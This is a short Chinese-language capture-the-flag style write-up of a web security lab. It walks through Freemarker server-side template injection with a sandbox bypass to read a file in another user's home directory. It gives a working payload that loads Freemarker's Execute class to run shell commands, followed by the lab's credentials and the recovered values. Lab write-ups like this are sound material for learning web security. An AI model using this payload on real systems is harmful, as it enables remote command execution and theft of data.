# SSTI Lab6
這題是 Freemarker 模板引擎的 SSTI(Server-Side Template Injection),在一個有「sandbox」限制但保護不嚴謹的環境下,我們要突破限制,讀取 Carlos 主目錄下的 my_password.txt 檔案內容。
可以使用以下認證登錄自己的帳戶:`content-manager:C0nt3ntM4n4g3r`
一樣先進入網站並登入。


本題說要繞過 sandbox,那我們一樣在 [Hack tricks](https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html) 中找到有趣的東西。

這串指令可以繞過 sandbox 限制,但只能在特定版本中繞過,但我們一樣可以先試試。
```java
<p>Hurry! Only ${product.stock} left of ${product.name}.</p>
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```

顯然是可以的,所以我直接嘗試 ls 看看。

很光明正大的亮出來了,所以直接 cat 後複製,拿去送出。

```
ltno5nf9vqayr3u844z8
```

```
ddvqnb3gzf3pwe0acpldujpuaeujmp60
```

---